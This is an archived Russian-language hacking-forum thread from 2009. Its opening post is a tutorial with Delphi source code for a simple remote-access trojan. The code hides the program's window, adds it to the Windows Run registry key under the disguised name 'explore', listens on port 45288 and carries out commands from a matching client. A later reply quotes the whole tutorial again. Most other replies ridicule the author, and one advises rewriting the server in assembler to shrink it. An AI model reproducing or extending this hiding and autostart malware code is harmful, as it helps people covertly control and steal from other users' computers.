Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Троян на делфи.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Форум №6] >> Троян на делфи.
Имя
Сообщение << Старые топики   Новые топики >>
Троян на делфи. - 2009-08-18 20:06:52.203333   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
Trojan by HT-team :)

[Сервер]
1)Кидаем на форму серверный компонент , пусть это будет ServerSocket1.
Установим свойство port равным 45288, это порт, по которому наш троян будет принимать приказы и отсылать секреты жертвы.

2)В разделе программы var описываем переменные:
i:string;

3)Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:

Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь}
ServerSocket1.Open; {Запускаем сервер}

4)Теперь заставим трояна прописываться в автозагрузку: (в uses добавить registry, в var - registry:TRegistry

registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('software\microsoft\windows\curre ntversion\run',true); {подключ}
registry.Writestring('explore',Application.ExeName ); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}

5)Теперь наш троян не только не виден в списке приложений, но и сам запускается с запуском винды. Следующий шаг - принимаем команды от сервера:

В событии сервера OnClientRead {поступила команда от клиента} пишем:

i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для сохранности}

{
А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.

Вот как это выглядит на Делфи:
}

if i='поменять кнопки мыши' then
SwapMouseButton(true) //Обратно - swapmousebutton(false)

{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}

6)Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот - передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера.
В той же процедуре добавляем:

if i='версия' then
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');

Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение "тестовая версия".


[Клиент]

1)В var также обьявляем переменную i стрингового типа для сбрасывания получаемой информации.

2)Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы сервера.

3)Дальше обработчики событий для клиента:

{OnConnect}
sb.SimpleText:='Подключение произошло успешно';

{OnError}
sb.SimpleText:='Произошла ошибка';

{OnDisconnect}
sb.SimpleText:='Клиент отключен';

{OnConnecting}
sb.SimpleText:='Подключаюсь…';

{OnRead}
i:=Client.Socket.ReceiveText;
sb.SimpleText:=i;

4)Теперь обработаем событие OnClick для кнопок:

{Exit}
form1.close;

{Connect}
client.Address:=IP.text; //Передаем клиенту адрес, вписанный в Edit
client.Open; //Активация клиента

{Disconnect}
client.close;

{Send}
Client.SendText(Message.text);
sb.SimpleText:='Данные отправлены';


aka H4R4K1R1.
Special for HT-team :)
Post #: 1
RE: Троян на делфи. - 2009-08-18 20:13:30.360000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
Б-г-г-г))))))))

особенно:
quote:

Trojan by HT-team


Бу. Га. Га.
Мего Тима)))
Школьнеги в отаке.
Меня переполняют эмоции.
Вот откуда берутся быдлокодеры!
Post #: 2
RE: Троян на делфи. - 2009-08-18 20:16:03.450000   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
Имеешь что-то против? :(
Эта тима моя! и ее участники не жалуются!
Post #: 3
RE: Троян на делфи. - 2009-08-18 20:17:55.206666   
SmanxX1

Сообщений: 208
Оценки: 0
Присоединился: 2007-07-31 14:33:56.650000
Крута, а хеллоу ворлды пишите?
Post #: 4
RE: Троян на делфи. - 2009-08-18 20:20:39.563333   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
мой друг занимается :) ну…пишет! :)
Post #: 5
RE: Троян на делфи. - 2009-08-18 20:22:18.710000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
По иконке твоего поста видно, что ты от нее не в восторге))

Знач по пунктам:

1) Если пишут "что-то by какая-то тим", то это значит, что код написан участниками, а не сперт с сайтов, список которых ты запостил в соседней теме.
2) Код - боян, особенно автозагрузка.

Можно вопрос - ваша так называемая "тима" пишет "вирусы" (то, что в первом посте, назвать вирусом сложно, трояном тоже, видимо участники "тимы" этого не знают) ???
Post #: 6
RE: Троян на делфи. - 2009-08-18 20:27:13.306666   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
это моя первая работа :/ я ее еще в седьмом классе написал, а переберая архивы наткнулся на нее и решил выложить!
при помощи инета я написал его! так что прошу тебе(вас) : НЕ СУДИТЕ СТРОГО! :)
Post #: 7
RE: Троян на делфи. - 2009-08-18 20:28:31.020000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
quote:

ORIGINAL: H4R4K1R1

это моя первая работа :/ я ее еще в седьмом классе написал, а переберая архивы наткнулся на нее и решил выложить!
при помощи инета я написал его! так что прошу тебе(вас) : НЕ СУДИТЕ СТРОГО! :)

пацталом :D:D:D:D:D:D:D:D:D:D:D:D:D:D
Post #: 8
RE: Троян на делфи. - 2009-08-18 20:29:44.560000   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
да ну тебя!!! 8D
Post #: 9
RE: Троян на делфи. - 2009-08-18 20:31:55.286666   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
Хочу себе продлить жизнь - у вас есть сайт?

// сетевые гангстерито))
Post #: 10
RE: Троян на делфи. - 2009-08-18 20:32:32.536666   
BlagJack

Сообщений: 59
Оценки: 0
Присоединился: 2008-08-29 21:39:37.970000

quote:

ORIGINAL: H4R4K1R1

это моя первая работа :/ я ее еще в седьмом классе написал, а переберая архивы наткнулся на нее и решил выложить!
при помощи инета я написал его! так что прошу тебе(вас) : НЕ СУДИТЕ СТРОГО! :)


А щас сумеешь написать драйвер уровня ядра на Delphi , до ? =\
Post #: 11
RE: Троян на делфи. - 2009-08-18 20:34:31.086666   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
думаю смогу :)
Post #: 12
RE: Троян на делфи. - 2009-08-18 20:34:59.433333   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666

quote:

ORIGINAL: BlagJack

quote:

ORIGINAL: H4R4K1R1

это моя первая работа :/ я ее еще в седьмом классе написал, а переберая архивы наткнулся на нее и решил выложить!
при помощи инета я написал его! так что прошу тебе(вас) : НЕ СУДИТЕ СТРОГО! :)


А щас сумеешь написать драйвер уровня ядра на Delphi , до ? =\

)) это у "тимы" уже в планах, вчера качнули дельфи - завтра смотри, уже дрова клепать начнут))))))
Post #: 13
RE: Троян на делфи. - 2009-08-18 20:35:34.676666   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
сайт есть :)
Post #: 14
RE: Троян на делфи. - 2009-08-18 20:36:01.836666   
BlagJack

Сообщений: 59
Оценки: 0
Присоединился: 2008-08-29 21:39:37.970000

quote:

ORIGINAL: H4R4K1R1

думаю смогу :)


Давай пиши и сюда выкладывай сорцы ;)
Post #: 15
RE: Троян на делфи. - 2009-08-18 20:36:50.163333   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
выкладывай)) оценим "троянов"

// взял попкорн…..
// хотя нет, подавлюсь, нафиг….
Post #: 16
RE: Троян на делфи. - 2009-08-18 20:37:11.933333   
BlagJack

Сообщений: 59
Оценки: 0
Присоединился: 2008-08-29 21:39:37.970000

quote:

ORIGINAL: H4R4K1R1

сайт есть :)

наверно на Укозе , до ? =\
Post #: 17
RE: Троян на делфи. - 2009-08-18 20:38:14.266666   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
да, на нем родимом! сайт закрыт поятому линк нет смысла давать :)
Post #: 18
RE: Троян на делфи. - 2009-08-18 20:39:29.960000   
BlagJack

Сообщений: 59
Оценки: 0
Присоединился: 2008-08-29 21:39:37.970000

quote:

ORIGINAL: H4R4K1R1

да, на нем родимом! сайт закрыт поятому линк нет смысла давать :)


Создай еще один сейчас и копипастини туда все свои сорцы и статьи.
Post #: 19
RE: Троян на делфи. - 2009-08-18 20:40:02.643333   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666

quote:

ORIGINAL: H4R4K1R1

да, на нем родимом! сайт закрыт поятому линк нет смысла давать :)

может ты имел в виду "убогом/кривом/глючном" ?
Post #: 20
RE: Троян на делфи. - 2009-08-18 20:40:58.333333   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
да делать мне больше нехер!!!
Post #: 21
RE: Троян на делфи. - 2009-08-18 20:43:32.760000   
H4R4K1R1

Сообщений: 21
Оценки: 0
Присоединился: 2009-08-18 19:18:08.900000
quote:

может ты имел в виду "убогом/кривом/глючном" ?

а у тебя где? на народе?? :D
Post #: 22
RE: Троян на делфи. - 2009-08-18 20:43:51.050000   
VaZoNeZ

Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666

quote:

ORIGINAL: BlagJack

quote:

ORIGINAL: H4R4K1R1

да, на нем родимом! сайт закрыт поятому линк нет смысла давать :)


Создай еще один сейчас и копипастини туда все свои сорцы и статьи.

))))
Фул Лист:
1) "Троян на дельфи"
2) "Запускаем дельфи"
3) ХеллоВорлд в дельфи
Post #: 23
RE: Троян на делфи. - 2009-08-18 20:47:07.836666   
psina007

Сообщений: 98
Оценки: 0
Присоединился: 2009-05-09 22:41:33.580000
quote:

Trojan by HT-team :)

Хорошо что в школах Assembler не учат…
Post #: 24
RE: Троян на делфи. - 2009-08-19 01:02:36.410000   
hrantabe

Сообщений: 203
Оценки: 0
Присоединился: 2009-08-11 11:05:12.030000
А было бы хорошо :D
Post #: 25
RE: Троян на делфи. - 2009-08-19 03:21:07.066666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Жесть. Пацталом два раза. Помогли бы лучше мне свой поток ввода-вывода на плюсах для последовательных портов написать (аля std::iostream) :), вот и оценили бы ваши "навыки". Давно не приходилось ТАК вылизывать код. Но это полезно.

+1 за минуту здорового смеха.
Post #: 26
RE: Троян на делфи. - 2009-08-19 13:12:40.296666   
Zmaster

Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
H4R4K1R1, формошлепить каждый может. Ты лучше напиши такой же трой, только сам с нуля, не используя готовый элементы.
Post #: 27
RE: Троян на делфи. - 2009-08-19 15:01:36.030000   
DzumoHu4

Сообщений: 279
Оценки: 0
Присоединился: 2008-08-04 19:04:43.236666
quote:

ORIGINAL: H4R4K1R1

Trojan by HT-team :)

[Сервер]
1)Кидаем на форму серверный компонент , пусть это будет ServerSocket1.
Установим свойство port равным 45288, это порт, по которому наш троян будет принимать приказы и отсылать секреты жертвы.

2)В разделе программы var описываем переменные:
i:string;

3)Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:

Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь}
ServerSocket1.Open; {Запускаем сервер}

4)Теперь заставим трояна прописываться в автозагрузку: (в uses добавить registry, в var - registry:TRegistry

registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('software\microsoft\windows\curre ntversion\run',true); {подключ}
registry.Writestring('explore',Application.ExeName ); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}

5)Теперь наш троян не только не виден в списке приложений, но и сам запускается с запуском винды. Следующий шаг - принимаем команды от сервера:

В событии сервера OnClientRead {поступила команда от клиента} пишем:

i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для сохранности}

{
А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.

Вот как это выглядит на Делфи:
}

if i='поменять кнопки мыши' then
SwapMouseButton(true) //Обратно - swapmousebutton(false)

{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}

6)Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот - передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера.
В той же процедуре добавляем:

if i='версия' then
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');

Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение "тестовая версия".


[Клиент]

1)В var также обьявляем переменную i стрингового типа для сбрасывания получаемой информации.

2)Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы сервера.

3)Дальше обработчики событий для клиента:

{OnConnect}
sb.SimpleText:='Подключение произошло успешно';

{OnError}
sb.SimpleText:='Произошла ошибка';

{OnDisconnect}
sb.SimpleText:='Клиент отключен';

{OnConnecting}
sb.SimpleText:='Подключаюсь…';

{OnRead}
i:=Client.Socket.ReceiveText;
sb.SimpleText:=i;

4)Теперь обработаем событие OnClick для кнопок:

{Exit}
form1.close;

{Connect}
client.Address:=IP.text; //Передаем клиенту адрес, вписанный в Edit
client.Open; //Активация клиента

{Disconnect}
client.close;

{Send}
Client.SendText(Message.text);
sb.SimpleText:='Данные отправлены';


aka H4R4K1R1.
Special for HT-team :)


Большая часть кода:



Что касается использования компонентов в Rat, то только в клиенте(где размер не имеет значения)
В сервере большая часть функций должна быть написана на ASM.(благо дельфи такое позволяет)
Скорость работы повысится + меньший размер.

З.ы
Либа с одной функцией на дельфи весит 474 килобайта
На асме аналогичная функция весит около 4 килобайт.

Post #: 28
RE: Троян на делфи. - 2009-08-19 18:18:02.026666   
Denaturat

Сообщений: 1741
Оценки: 453
Присоединился: 2008-10-27 20:50:06.380000
quote:

ORIGINAL: _SaZ_

Помогли бы лучше мне свой поток ввода-вывода на плюсах для последовательных портов написать (аля std::iostream)


и чем же тебе помочь?
Post #: 29
Страниц:  [1]
Все форумы >> [Форум №6] >> Троян на делфи.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.